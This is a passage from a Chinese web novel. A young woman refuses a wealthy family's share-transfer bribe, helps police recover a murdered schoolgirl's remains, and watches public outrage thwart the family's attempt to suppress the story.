杨丽华见鹿翎始终无动于衷,骂的更凶了,裴天逸也接连放低姿态,好话说尽。 可鹿翎始终一言不发,眼神里的冷漠彻底打碎了裴天逸所有的侥幸,也让杨丽华的辱骂变得越发无力。 终于,在两人口水都说干了,鹿翎开口说出第一句,也是最后一句。 “自作孽不可活。” 说完,她转身进了酒店。 只能说十分的晦气。 她本想出门买早餐,结果没想到遇见裴家两口子。 现在恶心的早餐也不想吃了。 得知真相后,两人没有半分悔改,尤其是杨丽华。 依旧张口闭口就是骂她的话。 也是没招了。 —— 酒店外,裴天逸一脸阴鸷,不过在接到电话后,眉头有些舒展起来。 他转头对杨丽华说,“先回去吧,妈来了。” 裴天逸的母亲,从乡下赶了回来。 这位在裴家说一不二、素来深居简出的老太太,听闻宝贝孙子裴昊然和裴耀阳重伤住院、生死未卜。 当即连夜赶了回来,一身藏青色绸缎褂子,头发梳得一丝不苟。 虽年近七旬,却眼神锐利,周身带着常年发号施令的威严,比裴天逸和杨丽华多了几分沉得住气的城府。 在听说裴淼淼说家里的事后,她并没有直接去找鹿翎的麻烦,而是选择先去医院看看自己的两个孙子。 病房里,裴昊然身上缠满绷带,除了皮肉伤,体内还有几道难以察觉的暗伤。 西医根本查不出根源,只能靠着仪器维持,整个人依旧昏昏沉沉。 还有裴耀阳,疯疯癫癫。 两个儿子的惨状,让杨丽华哭得肝肠寸断。 第73章:股份转让协议 裴老夫人坐在病床前,看着两个孙子这副惨状,布满皱纹的手紧紧攥着拐杖,指尖泛白。 眼底翻涌出滔天怒意,却始终没发一句火,只是沉声道:“这些全都是那个小姑娘动的手?” 杨丽华连忙止住哭声,几乎是咬牙切齿地说出鹿翎,对她两个宝贝儿子的所作所为。 又把酒店门口发生的事一五一十地告诉自己婆婆,语言间满是对鹿翎的怨怼。 一旁的裴天逸始终一言不发。 杨丽华受不了丈夫不帮儿子说话的态度,“老裴,你说句话啊,是不是鹿翎那个小贱人弄的!” 裴天逸回想起刚刚那么低三下四地求鹿翎,鹿翎却始终一言不发。 他眉眼冷着,最终还是点了点头,他看向裴老夫人,“妈,现在该怎么做?” 虽然是经历过这么多的大风大浪,但在母亲面前,还是得问一下她的意见。 裴老夫人思考一瞬,“她现在在哪?” “在旭日酒店。”听到婆婆妈,要为儿子出头,杨丽华立马就不哭了,眼睛发亮。 裴天逸自然是听出裴老夫人言语下的意思,他犹豫着想要开口。 但被杨丽华给拉住,眼神警告地瞪向他。 裴天逸也不好多说。 一边是自己精心培养这么多年的儿子,一边是没什么感情,但能为裴家带来巨大收益的女儿。 是个聪明人都会选择儿子,而不是女儿。 因为没有感情。 裴天逸已经看出来,这个女儿虽然能给家里带来利益,但没有感情基础。 到时候白眼狼咬你一口,还有理说不清。 裴老夫人没再多说一句,起身时,拐杖在地面轻轻点了一下,动作沉稳,却带着不容置疑的决断。 她没带保镖,也没裴天逸夫妇跟随,甚至连随行的佣人都没让跟着去,只淡淡地说了一句,“备车,去旭日酒店。” 杨丽华顿时急了,连忙上前。 不过不是为了老夫人的担忧,而是怕一个老太太镇压不住鹿翎,怕不能给自己的儿子们讨回公道。 “妈,你就这么去?那鹿翎性子野,万一她对您动手怎么办?多带几个人也好有个照应。” 裴老夫人闻言,抬眼扫了他一眼,眼神里带着威严,瞬间让杨丽华闭了嘴。 “我裴家的脸面还没到,要靠人多势众去欺一个小姑娘。”她语气平淡,字字却透着底气,“这件事,我亲自去谈。” 裴天逸张了张嘴,终究是没劝阻。 他心里清楚,母亲向来心思缜密,行事自有分寸,更何况在他的心里。 一个对他不敬的女儿,即便是再有利用价值,也比不上自己精心培养二十几年的儿子。 黑色轿车平稳驶入旭日酒店门前,陪老夫人独自下车,虽然看起来已经有七八十岁了,但却丝毫不见老态。 她步履从容地走进酒店大堂,径直走到前台,报出鹿翎的房间号。 没有丝毫张扬,却带着一股让人不敢轻视的气场,前台工作人员刚想拒绝,但被随后赶来的经理拦住。 经理立刻告知房间楼层。 “咚咚咚—” 清脆的敲门声在房间门口响起。 鹿翎先是通过猫眼观察门外,发现是个老太太,模样和裴天逸五分相像。 一猜就是裴天逸的老母亲。 而且一看面相,就不是和裴天逸他们是一路人。 鹿翎打开房门,看到门外孤身一人的裴老夫人,眉眼未动,没说话,也没显露出半点客气。 裴老夫人很有分寸,目光没有扫视到屋里,而是直直落在鹿翎身上,上下打量了她一番。 这孩子,眉眼精致清冷,周身没有半分晚辈见长辈的局促,也没有做错失被家长找上门来的慌乱。 始终是一副云淡风轻的模样,倒是真和寻常姑娘不一样。 她没绕弯子,“有时间去楼下大厅坐一坐吗?” 鹿翎挑挑眉,她还以为老夫人会开门见山,没想到拐弯抹角。 不过也无伤大雅。 鹿翎点点头,同意了,“行。” 鹿翎随手带上房门,没有多余的动作,但也没走,她静静看着裴老夫人。 裴老夫人微微一愣,“你怎么不走?” “我跟在你后面就行。”鹿翎淡淡开口。 裴老夫人没说话,目光不动声色地又开始打量上了,看着这个年纪轻轻,浑身透着疏离与傲气的姑娘,心中暗自思考。 这孩子,浑身是刺,却沉稳得不像同龄人,绝非农村那些普通人家能养出来的性子。 三秒钟后,她才收回视线。 两人一前一后走进酒店一楼大厅,寻那个偏僻的靠窗卡座坐下。 侍者上前递上菜单,裴老夫人摆了摆手示意,无需点单,侍者便识趣地退了下去。 大厅里人来人往,却丝毫影响不到卡座里凝聚的氛围。 裴老夫人率先开口,没有丝毫铺垫,声音低沉却清晰,带着长辈的威严,“我那两个孙子,是你动的手。” 依旧是笃定的程序,而非疑问句。 她抬眼看向鹿翎,布满皱纹的眼眸深邃,直直看向鹿翎,试图看穿她的心思。 鹿翎语气平淡无波,“是。” 一个字,干脆利落,没有丝毫辩解,也没有丝毫悔改。 裴老夫人攥了攥手中的拐杖,压下心底的怒意,她知道硬碰硬对如今的裴家没有好处。 裴昊然还在医院,刑事案件备案在警局,裴家人生早已受了影响,当务之急是先把事情压下去。 她缓缓从随身的手包里,拿出一份准备好的股权转让协议,放在茶几上,推到鹿翎面前。 “这是裴氏集团我个人名义下的百分之一的股份,转到你名下,永久归属,不用看裴家任何人的脸色,日后你即便不回家,靠着这份股份,也能一辈子衣食无忧。” 裴老夫人抬眼,眼神笃定。 她笃定鹿翎是一个无依无靠的小姑娘,抵挡不住这样的诱惑。 “我只有一个要求,你现在跟我去警局,撤销对裴昊然的刑事案件,就说这一切都是误会,裴家不会再找你的麻烦,你我两清。” 在她看来,用股份来换裴家的安稳再划算不过了。 而鹿翎,也必然会答应。 第74章:寻找尸块 鹿翎垂眸,扫了一眼那份股权转让协议,上面的数字确实诱人,足以让绝大多数人趋之若鹜。 可她只是淡淡地瞥了一眼,便收回目光,眼神里没有半分波澜,甚至带着一丝不易察觉的嘲讽。 “裴老夫人,”鹿翎开口,声音清冷,字字清晰,“我想,你还没明白弄一件事。” “裴昊然和裴耀阳触犯法律,证据确凿,警局备案不是我想撤就能撤的,更何况,我从没有想过要撤。” 她目光直视裴老夫人,没有半分退缩,“至于裴家的股份,我不稀罕。” 说完,鹿翎把股权转让协议转个弯,重新摆回到裴老夫人面前,语气坚定,“股份你拿回去,想要我撤案,绝无可能。” 裴老夫人脸上的从容淡定,终于裂开一丝缝隙。 她没想到,鹿翎竟然会拒绝如此优厚的条件,眼底瞬间涌起怒意,握着拐杖的手越发用力,指尖泛白。 鹿翎懒得再跟面色铁青的裴老夫人多做纠缠,微微抬眼,清冷的眸子掠过对方紧绷僵硬的面容。 “话我已经说得很清楚,不再多谈。” 话音落下,她转身便走,把裴老夫人满是不满的目光,尽数抛在脑后。 鹿翎回到自己房间,从上午一直待到下午。 夜风微凉,鹿翎待到了晚上七八点钟的时候,避开所有路口监控,绕了很远的路,悄无声息抵达昨晚报案的辖区警局。 此时天色渐暗,来往行人稀少,警局门口空旷安静,只有保安厅内亮着灯。 鹿翎左右扫视一圈,没看见有巡逻民警注意到这边,便小心翼将一叠完整的卷宗,放在警局大门口。 做完这一切,她没有停留,迅速离开这里,但没走远,躲在浓密的阴影处,你安静等候。 没过多久,值班民警出门巡查,一眼就看见了这份卷宗。 拿进去后,疑惑地拆开,只看了几页,脸色瞬间变得惨白,还有那份录音器。 他也只听了几句,连忙转身冲进队长办公室汇报情况。 深夜的警局瞬间炸开了锅,案情重大,涉及人命分尸,性质极其恶劣。 值班领导不敢耽搁,立即集结刑侦大队,法医组,勘察组的警力。 带上铁锹,探照灯,尸检箱,防护装备等工具,十辆警车鸣着警笛,一路疾驰,朝着北郊公园方向赶去。 鹿翎看着车队呼啸而过,立刻给自己贴上一张疾行符,降低速度,跟在车队注意不到的距离,一路朝北郊公园方向跑去。 她要亲眼看着,林小满的尸骨被找到,看着那些作恶之人,再也无处遁形。 警车抵达后,立刻封锁了整个公园入口,警员们动作迅速地拉上警戒线。 探照灯齐刷刷打开,四眼的白光瞬间照亮整片荒芜园区。 这番动静自然引起四合院傅荣华祖孙三人的动静。 傅宛然拿着筷子的手一顿,连嘴里的米饭都忘了咽,急匆匆放下碗筷就往外跑,“奶奶,奶奶你听好多警车,是不是出了什么大事?” 傅荣华放下手中的汤勺,眉头微蹙,慢悠悠跟在孙女身后,苍老的眼底掠过一丝探究。 “慌什么?身为继承人要沉住气,警车往公园方向去,咱们眼光便是,别凑上前惹麻烦。” 程烨是最后走出堂屋的,“警车扎堆封锁公园,还带了法医和勘察设备,绝非普通案件,过去看看,保持距离就好。” 说罢,三人缓步朝着公园方向走,连饭都没吃完。 而公园内,警方早就把公园分为四块区域,分别对应公园正门两侧中央荒草地以及西北角的废弃花坛。 刑侦队长神情肃穆,对这一众警员沉声吩咐,“凶手分尸后,分散掩埋,大家仔细挖掘,切勿破坏尸骨残骸,每一寸泥土都要清理到位!” 话音落下,十几名警员轮番上阵,铁锹重重铲进冰冷潮湿的泥土,发出沉闷的“哐哐”声。 公园荒废多年,泥土里混杂着碎石,枯树根,还有腐烂的杂草,黏重又坚硬,挖起来格外费力。 在警员们的铁锹轮番落下,好在裴耀阳几人没将尸块深埋,大多只在土层下三四十厘米的位置。 混着碎尸与腐草,挖掘进度比预想中快得多。 不过二十分钟,正门左侧的坑位先有了动静,铁锹拨开浮土,一截裹着烂布的小臂骨率先露了出来。 腐败的皮肉粘着泥土,断面坑坑洼洼,应该是拿小刀磨的,腥气气瞬间弥漫开来。 紧接着,正门右侧,中央荒草地,西北角废弃花坛三处区域接连传来声响,尸块被逐一挖出,散落在警员铺开的防水布上。 大大小小竟然有三十多块。 不过半个小时,林小满被拆分的所有尸块便尽数重见天日,拼凑在防水布上,残缺不堪,看得在场警员面色凝重。 法医蹲下身,带着乳胶手套,小心分拣,动作轻柔的,生怕碰碎了脆弱的残骨。 一边标记,一边低声记录,探照灯的白光打在尸骨上更显凄惨。 刑侦队长攥紧笔录本,面色铁青。 如此残忍的分尸掩埋,足以见得凶手的丧心病狂。 当即立刻安排人封锁现场,同步传唤涉案人员。 但想起涉案人员竟然是裴昊然和裴耀阳后,面色有些复杂。 现在两个在医院躺着,想要传话还是有些难度。 不远处的槐树林里,傅宛然早已被吓得面色苍白,紧紧抓着傅荣华的衣袖,不敢再看那片狼藉,声音发颤,“奶奶,太吓人了,这到底是有多大的仇啊...” 傅荣华拍了拍她的手,眼底满是凝重,目光却越过警戒线,缓缓扫向公园深处的树林。 傅荣华安抚好傅宛然,转头对程烨吩咐:“你陪着宛然在这等着,别乱跑,我过去看看。” 不等两人回应,她便拄着拐杖,缓步朝着柏树丛走去,脚步沉稳,没有丝毫慌乱,反倒带着几分笃定。 树丛后,鹿翎正敛着气息,静静看着警方处理尸骨,清冷的眸子里没有惧色,只有一片沉寂的悲悯,指尖微微收紧。 她终于亲眼看着林小满的尸骨被找到,心底悬着的石头稍稍落地,却也被那些破碎的尸块揪得发紧。 她周身气息压得极淡,本以为无人能发现,直到听见渐进的拐杖触地声,才猛地抬眸,警惕地看向来人。 傅荣华走到树丛边缘,停下脚步,隔着茂密的枝叶。 看清了鹿翎的脸,眼底闪过一丝了然,随即露出温和的笑意,主动开口打招呼:“鹿小师傅,没想到竟是你在这里。” 第75章:程烨的心思 鹿翎转头看去,发现是傅荣华,她微微点头,“傅老夫人,好久不见。” 傅荣华笑眯眯的,没有半点以前被鹿翎退婚的尴尬,不过还是挺好奇的,“鹿小师傅怎么在这?也是被警车吸引过来的?” 鹿翎依旧点头。 但不过不是警车吸引她过来的,而是她吸引警车过来。 傅荣华闻言,眼底的笑意多了几分,目光温和的落在鹿翎身上,并没有多问她在此处的原因。 只是淡淡道:“此出风大,又满是血腥气,不宜久用,我和小师傅一同出去吧。” 鹿翎垂眸,收敛起眼底残存的悲悯与冷意,轻轻骇首,没有推辞。 她本就打算在此事结束后就离开,如今有傅老夫人一起离开,免去被别人留意的麻烦。 两人一前一后走出茂密的柏树林,傅荣华拄着拐杖,步伐沉稳。 鹿翎则是身姿清挺,周身气息淡得几乎透明,若非刻意留着,根本看不出方才在树丛里藏匿的人是她。 而不知道她感受到什么,停下脚步,猛然朝树林方向看去。 不过一瞬,她就收回视线。 不远处,程烨正受着脸色依旧苍白的傅宛然,她紧紧攥着她的衣袖,眼神恐惧地不敢往警戒线方向瞟。 听到脚步声,两人同时转头看来。 当看清跟在傅荣华身后的鹿翎时,程烨周身一滞,那双素来沉稳的眼眸骤然睁大。 眼底满是难以置信的惊愕,脚步下意识地顿住,握着傅宛然的手都不自觉松了几分。 他死死盯着鹿翎的脸,眉头紧锁,显然是认出了她,却又不敢相信会在此处遇见。 傅荣华顺着程烨的目光看去,见他这般失态的反应,浑浊的眼底也掠过一丝明显的诧异。 转头看向鹿翎,又看向程烨,语气带着几分疑惑与惊讶:“烨儿,你这反应是怎么回事?难不成...你和鹿小师傅认识?” 程烨回过神,压下心底翻涌的震惊,喉结微动,沉声开口,目光依旧牢牢锁在鹿翎身上,一字一顿道:“认识。” 可话音刚落,鹿翎却抬眸,清冷的眸子扫过程烨,没有丝毫情绪波动。 语气平淡无波,甚至带着几分疏离的漠然,缓缓吐出两个字:“不认识。” 这截然相反的回答,让傅荣华更是错愕,眉头微蹙,显然没料到会是这般局面。 程烨的脸色更是沉了几分,眼底的惊讶里又添了几分不解。 他分明记得眼前之人,可鹿翎的态度却像是面对一个全然陌生的路人。 鹿翎懒得再做多余的纠缠,这里警笛长鸣,案情重大,多留一刻便多一分风险。 她对着傅荣华微微颔首,算是道别,声音依旧清冷:“傅老夫人,我还有事,先行告辞。” 不等两人回应,鹿翎转身便走,很快便融入夜色之中。 转瞬便没了踪影,只留下一道清冷的背影,彻底消失在街角的阴影里。 看着鹿翎离去的方向,程烨依旧站在原地,满心的疑惑与震惊久久不散。 他转头看向身旁还心有余悸的傅宛然,压低声音,语气里满是急切与不解:“宛然,她叫什么名字?” 傅宛然被他突如其来的急切弄得一愣。 回过神后,想起方才那具残缺不堪的尸骨,还是忍不住打了个寒战。 小声开口,语气带着几分复杂:“她叫鹿翎。” “前未婚妻?原来是她!”这下换程烨表情复杂了。 傅荣华自然是最了解这个孙子的。 当然知道他这个表情复杂是什么意思。 傅荣华轻嗤一声,“当初是谁要闹着要和人家退婚的?现在装作这个表情又是什么意思?反悔了?” 程烨依旧不说话,只是脸色更难看。 他实在是没想到,自己的前未婚妻,前不久退婚的对象,竟然是鹿翎。 说不上什么奇怪的感觉。 只是心里有一点怪异而已。 程烨反驳,“谁后悔我都不会后悔。” 谁要跟一个会歪门邪道的人结婚。 鹿翎救人的场面在他脑海中浮现,怪不得上次她把人从那么危险的场景救下。 还真是个歪门邪道。 程烨面色紧绷,嘴上硬气,但心里却是乱糟糟的。 他谈不上讨厌鹿翎,更达不到厌恶的地步。 上次退婚,也只是他不想被束缚。 连婚姻都轮不到自己做主,连自己喜爱的姑娘都娶不到,那他活着还有什么用? 而且,联姻就算了。 年龄对象还是个会歪门邪道的人,他一点都不能接受。 只是打心底里抵触,那些莫测诡异的手段,下意识将她归为旁门左道,不愿扯上半分干系。 傅荣华瞧着他口是心非,神色别扭的模样,眼底掠过一丝了然的笑意,拄着拐杖,慢悠悠开口,“嘴硬没用,我看你也不是讨厌她,就是心里成见太深,先入为主罢了。” 程烨被戳中心思,耳根微红,别开视线,语气依旧执拗,“我可不是成见,本来就是她行事诡异,手段匪夷所思,和正常人不一样,当初退婚就是情理之中,我半点不后悔。” “她做事才不诡异。”程宛然小声嘟囔一句。 “你懂什么。”程烨低声一句,却没多少斥责的意味,只是心绪纷乱。 他不得不承认,鹿翎容貌清绝,气质出尘,行事沉稳冷静,连出现在这种惨烈命案现场都半点不惧,绝非寻常女子能比。 可也正是这份太过莫测的神秘,让他本能地想要远离。 没有反感憎恨,只有几分说不清道不明的别扭、疏离,还有一丝偶错愕。 傅荣华淡淡瞥了他一眼,语气意味深长:“人不可貌相,更不能凭一己偏见随意定论。鹿小师傅心性通透,行事有自己的章法,恩怨分明,善恶有底线,比那些表里不一的世家子弟干净多了。” “你不愿认、不愿接触也罢,只是别把话说得太满,日后世事多变,谁也说不准往后会不会再有交集。” 程烨沉默着,没有接话,望向鹿翎消失的漆黑街角,心底那股怪异的感觉越发明显。 不喜欢,不厌恶,只剩疏离、别扭,还有一丝连他自己都不愿承认的在意。 傅宛然见气氛有些沉闷,忍不住催促:“奶奶,哥,这里太阴森了,我们还是早点回去吧,案子有警方处理就够了。” 傅荣华微微颔首,目光再一次扫过公园警戒线内忙碌的人影,慢悠悠转身。 “走吧,夜深露重,也该回去了。” 程烨收回目光,压下心底纷乱的情绪,陪着傅荣华祖孙二人转身往四合院走去。 第76章:网上炸开了锅 鹿翎快步走出北郊公园,她没有回临时租住的酒店,而是沿着街边僻静的人行道缓步前行。 脚步不急不缓。 方才在柏树林里,亲眼看着林小满残缺的尸骨被一点点挖出。 那孩子不过十几岁的年纪,本该是肆意张扬的少年时光,却落得如此凄惨下场。 即便她早已见惯生死,心底那抹不易察觉的悲悯,也迟迟未能完全褪去。 走了约莫十几分钟,鹿翎在一处二十四小时营业的便利店门口停下。 推门走了进去,买了一瓶常温的矿泉水,拧开喝了两口。 她找了个靠窗的空位坐下,窗外车水马龙,霓虹灯光透过玻璃映在她脸上,明明灭灭,更衬得她眉眼清冷,疏离感十足。 闲来无事,鹿翎掏出手机,指尖轻划,解锁屏幕。 她平日里极少关注网络八卦,手机里也只装了几个必要的社交软件和资讯平台。 本想看看近期的天气与城市动态,可刚点开本地资讯推送。 一条标着**“爆”**字的热搜词条,猝不及防地弹了出来,瞬间占据了屏幕大半位置。 #北郊公园惊现碎尸案,受害者系半月前失踪初中生林小满# 词条后面跟着火红的“沸”字标识。 短短几分钟内,量便突破千万,评论区更是以肉眼可见的速度疯狂增长。 显然是有媒体记者不知从何种渠道获取了案件核心信息。 绕过警方封锁,第一时间将消息公之于众,在网络上掀起了轩然大波。 鹿翎指尖微顿,目光落在新闻内容上。 记者的文字极尽渲染,用词夸张,详细描述了北郊公园命案现场的惨烈场景。 虽未直接放出尸骨照片,却用极具冲击力的词汇刻画细节,刻意放大案件的恐怖程度,博人眼球。 文中明确指出,受害者正是半个月前在市区离奇失踪的初中生林小满。 家人多方寻找无果。 妈妈还因为这个事伤心抑郁到自杀。 没想到最终竟是这样的结局,字里行间满是刻意煽情,引得网友群情激愤。 新闻下方还配了几张模糊的现场照片。 是远处拍摄的公园警戒线、闪烁警灯的警车。 以及隐约可见的刑侦人员忙碌的身影,虽看不清核心现场,却更勾起了网友的好奇心与愤怒。 评论区早已炸开了锅,密密麻麻的留言铺满屏幕: “我的天!太可怕了,还是个初中生,到底是什么丧心病狂的人能做出这种事!” “林小满我知道,我家邻居孩子,之前还到处帮着转发寻人启事,没想到竟然遇害了,心疼死了!” “必须严惩凶手!这种变态就该判死刑,绝不姑息!” “警方一定要尽快破案,给孩子和家属一个交代啊!” “这凶手也太残忍了,到底有什么深仇大恨,对一个小孩子下此毒手……” 除了对受害者的同情、对凶手的唾骂,还有不少网友开始胡乱猜测,臆测凶手身份、作案动机。 甚至无端牵连周边居民与过往人员,各种不实言论、恶意揣测层出不穷,网络舆论瞬间失控,朝着不可控的方向发酵。 更有一些营销号趁机跟风炒作,添油加醋,编造各种虚假细节,让整个事件变得愈发扑朔迷离。 鹿翎面无表情地划着屏幕,清冷的眸子里没有丝毫波澜,既没有网友的愤怒,也没有无谓的同情。 她清楚,网络上的喧嚣终究只是虚浮的口舌之争,真正能给林小满一个公道的,是警方的调查与法律的制裁。 而裴耀阳那根藏在暗处的毒刺,也迟早会被彻底拔除。 她指尖轻触屏幕,将这条新闻划走,没有留下任何评论,也没有转发,仿佛只是看了一则无关紧要的普通资讯。 可她心里清楚,这起案件经网络大肆宣扬后,势必会引起更大的社会关注,警方办案的压力会骤增。 幕后的裴家,恐怕也不会坐以待毙,必然会想方设法动用关系压下舆论,甚至试图掩盖真相、脱罪自保。 就在鹿翎准备关掉手机时,一条新的推送再次弹出。 是本地警方的官方通告,措辞严谨地表示案件正在全力侦办中。 呼吁广大网友不信谣、不传谣,不要恶意传播案发现场相关信息,避免对受害者家属造成二次伤害,也不要干扰正常办案。 可官方通告的热度,远不及那些博人眼球的自媒体新闻,网络上的舆论依旧愈演愈烈。 鹿翎收起手机,将矿泉水瓶扔进旁边的垃圾桶,起身走出便利店。 夜色更深,晚风更凉,她抬头望向夜空,繁星点点,却照不进这城市深处的阴暗。 她脚步轻快,再次融入夜色,心中已然有数,这起分尸案牵扯甚广。 裴家的势力、网络的舆论、警方的办案,后续必然还有诸多波澜。 她既然插手了此事,就绝不会让凶手逍遥法外,更不会让林小满白白冤死。 —— 与此同时,傅家四合院内,灯火昏黄。 傅荣华坐在客厅的太师椅上,手里捧着一杯热茶,身旁的佣人正拿着手机,轻声念着网络上关于林小满分尸案的新闻,神色凝重。 程烨坐在一旁的沙发上,原本已经渐渐平复的心绪,在听到新闻内容的那一刻,再次揪紧。 他掏出自己的手机,快速点开热搜,看着那些触目惊心的文字与评论,脸色沉得厉害。 自己脑海中不由自主地浮现出鹿翎在公园现场的模样。 冷静,淡然,仿佛再惨烈的场景都无法撼动她分毫,那份与年龄不符的沉稳与神秘,再次在他心底掀起波澜。 “这媒体也太不像话了,警方还在办案,就把消息捅到网上,胡乱渲染,只会添乱。” 傅荣华轻轻放下茶杯,浑浊的眼底闪过一丝厉色,语气带着不满,“舆论闹得这么大,只会给警方施压,也给了裴家动手脚的机会。” 程烨攥着手机,指节微微泛白,心里那股怪异、别扭的感觉越发强烈。 他嘴上依旧不肯承认自己对鹿翎有别样的心思,可潜意识里,却忍不住开始担心。 这起案件闹得人尽皆知,会不会牵扯到鹿翎,毕竟她曾出现在命案现场,若是被别有用心之人盯上,难免会惹上麻烦。 第77章:想要压热搜 傅宛然缩在沙发角落,看着手机里的新闻,脸色依旧苍白,忍不住小声说:“鹿小师傅会不会有事啊?她刚才就在现场,万一有人认出她,乱说什么怎么办?” 傅荣华抬眸,目光深邃地望向窗外漆黑的夜色,缓缓开口:“鹿小师傅不是寻常人,自有分寸,不会轻易被这些俗事缠上。倒是我们,静观其变就好,这潭水,越来越深了。” 程烨沉默不语,目光死死盯着手机屏幕上的热搜词条,心底纷乱如麻。 而此时。 裴家别墅,却早已被滔天的怒火与慌乱笼罩。 奢华精致的欧式客厅里,气氛压抑得让人喘不过气。 裴家老夫人坐在沙发上,满头银发梳得一丝不苟,面容阴沉得能滴出水来。 她面前的实木茶几上,放着佣人递过来的平板。 屏幕上正是那条爆火的北郊公园碎尸案热搜。 刺眼的词条、夸张的新闻描述、网友铺天盖地的谩骂,一字一句都像针一样扎在她心上。 她枯瘦的手指紧紧攥着扶手,指节因为用力而泛出青白,浑浊的老眼里翻涌着戾气与愤怒,喉咙里发出低沉的怒哼。 “废物!全都是一群废物!耀阳闯下这么大的祸,连这点事都捂不住,居然让媒体把消息捅到了网上,简直是丢尽了我们裴家的脸!” 伴随老夫人的怒声,客厅另一侧,杨丽华如同被点燃的炮仗,瞬间炸了开来。 她眼底的狰狞,面容因暴怒而扭曲,双手叉腰,对着空气厉声咒骂,声音尖锐地划破客厅的寂静。 “该死的!到底是谁走漏了消息!那些记者都是吃里扒外的东西,竟敢把这种事公之于众,是想毁了我们裴家吗!” 杨丽华歇斯底里地嘶吼,高跟鞋狠狠跺着光洁的大理石地面,发出“噔噔”的刺耳声响。 “林小满那个小杂种,死了就死了,居然还敢闹得人尽皆知,害得我们裴家沦为笑柄,真是阴魂不散!” 她越说越气,伸手扫过旁边的置物架,上面摆放的名贵瓷瓶、水晶摆件噼里啪啦摔了一地。 碎片四溅,佣人吓得瑟瑟发抖,低着头不敢吭声,连大气都不敢喘一口。 杨丽华双目赤红,脑子里全是网友对裴家的揣测与唾骂。 一想到裴耀阳可能因此出事,裴家的声誉会一落千丈,她就恨不得将爆料的媒体和散播消息的人碎尸万段。 “还有警方,一群没用的东西,守着现场都守不住,让消息泄露出去,我看他们是不想在这个位置上待了!” 杨丽华状若疯癫,语气里满是怨毒,“这件事要是压不下去,昊然和耀阳要是有个三长两短,我绝对饶不了那些人!” 裴天逸站在客厅中央,一身笔挺的黑色西装,面容冷峻,周身散发着慑人的压迫感。 他面色沉得如同乌云压顶,看着屏幕上不断飙升的热搜热度和失控的舆论,眉头拧成了一个川字。 他比杨丽华冷静得多,也清楚这件事的严重性。 碎尸案本就性质恶劣,如今闹上热搜,引发全民关注。 不仅警方办案会被舆论裹胁,压力倍增,裴家也会被推到风口浪尖。 稍有不慎,就会引火烧身,多年积攒的声望与产业都可能受到重创。 更让他忌惮的是,这件事一旦深挖,裴家牵扯其中的痕迹很可能暴露,到时候后果不堪设想。 “够了!”裴天逸冷声呵斥,打断了杨丽华的哭闹咒骂,声音冰冷没有一丝温度,“哭哭啼啼,大吵大闹,能解决什么问题?只会让人看笑话!” 杨丽华被他这一声厉喝镇住,哭声戛然而止,却依旧满脸愤恨地瞪着他,哽咽道:“那你说怎么办?现在全网都在说这件事,所有人都盯着,我们裴家这下彻底完了!” 裴天逸没有理会她的质问,拿出手机,迅速拨通了助理的电话,语气凌厉得如同冰:“立刻动用所有资源,半个小时内,把北郊公园碎尸案的相关热搜、新闻通稿全部压下去,所有营销号、自媒体不准再转发讨论,敢不听话的,直接封停,追究责任!” “另外,联系各大平台、媒体总部,下达封口令,谁敢再泄露案件相关信息,散布不实言论,就是和我们裴家作对,让他们掂量掂量后果!” “还有,联系公关团队,立刻发布声明,引导舆论,将焦点转移,绝不能让网友把矛头指向裴家!” 他语速极快,指令清晰,每一个字都带着不容置疑的威严。 在他眼里,舆论不过是可以用资本和势力操控的工具。 只要动用裴家的人脉与资源,压下这些新闻热搜,不过是轻而易举的事。 电话那头的助理不敢耽搁,连声应下,立刻着手去办。 裴天逸挂了电话,看向坐在榻上的裴老夫人,沉声道:“妈,您放心,我已经让人去处理了,用不了多久,网上的消息就会全部清空,这件事不会影响到裴家,耀阳和昊然也不会有事。” 裴老夫人缓缓闭上眼,深吸一口气,再睁开时,眼底的震怒褪去,只剩下阴狠的算计:“天逸,做事要做绝,不仅要压下舆论,还要把所有痕迹都抹干净,绝不能留下任何把柄。” “警方那边也要打点好,让他们尽快结案,随便找个替罪羊顶罪,这件事就当从没发生过,昊然和耀阳是我们裴家的孙子,绝不能让他出事。” “我明白。”裴天逸点头,眼底闪过一丝狠厉,“我会安排好一切,确保万无一失。至于那些多管闲事的人,若是敢碍我们裴家的事,我也不会轻饶。” 他看着满地狼藉的客厅和依旧面色惊惧的杨丽华,沉声道:“安分待着,别再添乱,裴家还没到山穷水尽的地步。” 杨丽华嘴唇哆嗦着,看着丈夫胸有成竹的模样,心里的慌乱总算压下去几分。 瘫坐在沙发上,死死攥着衣角,盼着助理能快点把网上的风波平息。 裴老夫人也松了口气,靠在椅背上,浑浊的眼睛里满是阴鸷。 在她看来,裴家权势滔天,压下几条热搜不过是举手之劳,用不了多久,这场风波就会彻底平息。 然而,不过短短十分钟,裴天逸口袋里的手机便疯狂震动起来,屏幕上跳动着助理惊慌失措的名字。 第78章:裴家算是彻底垮了 他眉头微蹙,接起电话,语气依旧带着不容置疑的威严:“事情办得怎么样了?热搜压下去了?” 电话那头,助理的声音带着前所未有的慌乱,甚至带着哭腔:“裴总,不行,压不下去!所有平台都在抵制我们的撤热搜指令,各大媒体、营销号像是约好了一样,根本不听我们的安排。” “之前联系的平台高层,要么直接挂断电话,要么说无权处理,还有好几家官媒直接转发了案件相关报道,点名要求严查严惩,现在热搜不仅没撤下来,反而爆了好几个新词条!” 裴天逸脸上的淡定瞬间僵住,握着手机的手指猛地收紧,骨节泛白,声音陡然冷了八度:“废物!这点事都办不好?我不管你用什么方法,就算砸钱、动用所有关系,也要把舆论压下去!” “裴总,真的没用啊!”助理急得声音都变了调,“不知道是谁在背后推波助澜,把裴家跟死者林小满的关联扒得一干二净,还有三少爷之前骚扰林小满的聊天记录、监控片段,全都被人发到了网上。” “甚至连大少爷在别墅认罪的模糊录音,都被人泄露出去了,现在全网都在骂裴家仗势欺人、包庇凶手,话题热度直接冲到了榜首,怎么压都压不住,越删反而越多,网友都炸了!” 这番话如同晴天霹雳,狠狠砸在裴天逸头上。 他身形一晃,握着手机的手微微颤抖,脸上的冷峻彻底碎裂,取而代之的是难以置信的震惊与滔天的慌乱。 他怎么也没想到,一向无往不利的资本与权势,在这一刻竟然彻底失效。 客厅里的裴老夫人和杨丽华听到电话里的内容,脸色瞬间变得惨白如纸。 杨丽华猛地站起身,踉跄着扑到裴天逸身边,一把抢过手机,对着电话嘶吼:“你胡说什么!怎么可能压不下去!我们裴家有的是钱,有的是关系,谁敢不给我们面子!你是不是没尽力!” “夫人,我真的尽全力了!”助理欲哭无泪,“现在不光是网友,连各路媒体、业内同行都在声讨裴家。” 